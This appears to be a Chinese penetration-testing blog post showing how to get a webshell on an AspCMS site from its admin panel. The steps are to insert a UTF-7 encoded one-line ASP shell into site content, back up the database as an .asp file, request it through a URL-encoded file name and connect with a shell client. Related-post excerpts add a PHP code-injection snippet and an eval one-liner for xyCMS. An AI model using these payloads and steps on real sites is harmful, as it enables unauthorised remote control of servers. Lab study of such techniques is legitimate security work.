一、登录演示

本次演示一种方法思路拿aspcms框架的webshell，该页面是用的是最新版本的aspcms框架自行搭建演示的。

1）登录地址：http://www.aspcms.com/admin_aspcms/

2）登录后的页面：

二、数据库备份拿webshell

登录到扩展功能-数据库备份恢复：

首先打开内容维护中栏目都可以插入一句话，修改即可：

插入utf7一句话：

uft7 一句话┼攠數畣整爠煥敵瑳∨≡┩愾

然后开始备份数据库：

在点击恢复此备份：

aspcms默认的这个数据库名是：#5Dp8Gh.asp改为%235Dp8Gh.asp
访问：http://www.aspcms.com/data/%235Dp8Gh.asp

在内容中出现：ÀàÐÍ²»Æ¥Åä: 'execute’表示写入一句话
成功利用caidao连接：

Aspcms框架的webshell相关推荐

PHPcms框架的Webshell
登录界面后台网址 www.phpcms.com/admin.php 进入主页面代码注入拿webshell 接下来我直接就上图了写入一句话木马 <?php file_put_content ...
织梦dedecms的框架的Webshell
一.后台后台登录 http://www.dedecms.com/dede 后台界面二.Webshell方法 1:文件上传蚁剑进行连接成功 2:新建一句话文件蚁剑连接 3:html修改打开模 ...
xyCMS框架的webshell
"%><%eval request("d")%><%s=" 在网站配置页面插入一句话.(注意一定要把前后内容闭合,不然整个网站都要崩溃) ...
Veil生成免杀payload 渗透win10 获取靶机shell
一:实验环境两台机器处于同网段攻击机:kali 192.168.115.134 靶机:win10 192.168.115.1 二:Veil下载.安装.使用 kali里默认没有安装Veil,我们通过 ...
Burp Collaborator 使用总结
0x00:使用原因我们在做渗透测试的时候,经常会遇到这种情况,测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,或者是盲注跨站,盲打 XSS ...
BBScan：信息泄漏批量扫描脚本
有些朋友手上有几十万甚至上百万个域名,如果把这些域名全部扔给wvs. APPscan这样的重型扫描器,显然是不太合适的. 对于一个拥有上万IP的企业,又如何快速定位可能存在弱点的机器呢? 试试信息泄漏 ...
jexboss工具 -- JBOSS未授权访问漏洞利用
其实所有的节日,都不是为了礼物和红包而生,而是提醒我们不要忘记爱与被爱,生活需要仪式感,而你需要的是在乎和关爱... ---- 网易云热评小受:Ubuntu20 小攻:Kali2020 一.搭建该 ...
逍遥模拟器配置burpsuite抓包环境
电脑与逍遥模拟器处于同一网段,在burpsuite中设置代理: 之后在逍遥模拟器中设置网络代理之后直接下载下面的证书并且将其拖放到逍遥模拟器中: 证书下载地址: 链接:https://pan.bai ...
BurpSuite v2021.8.2安装使用
文章前言几个月之前,Burpsuit官方发布了BurpSuite v2021.8.2,但是迟迟没有时间来试试手,正好借着这次调休的时间来写写文章,顺便更新一下Burpsuite 软件下载天翼云盘 ...

Aspcms框架的webshell

文章目录

一、登录演示

二、数据库备份拿webshell

Aspcms框架的webshell相关推荐

最新文章

热门文章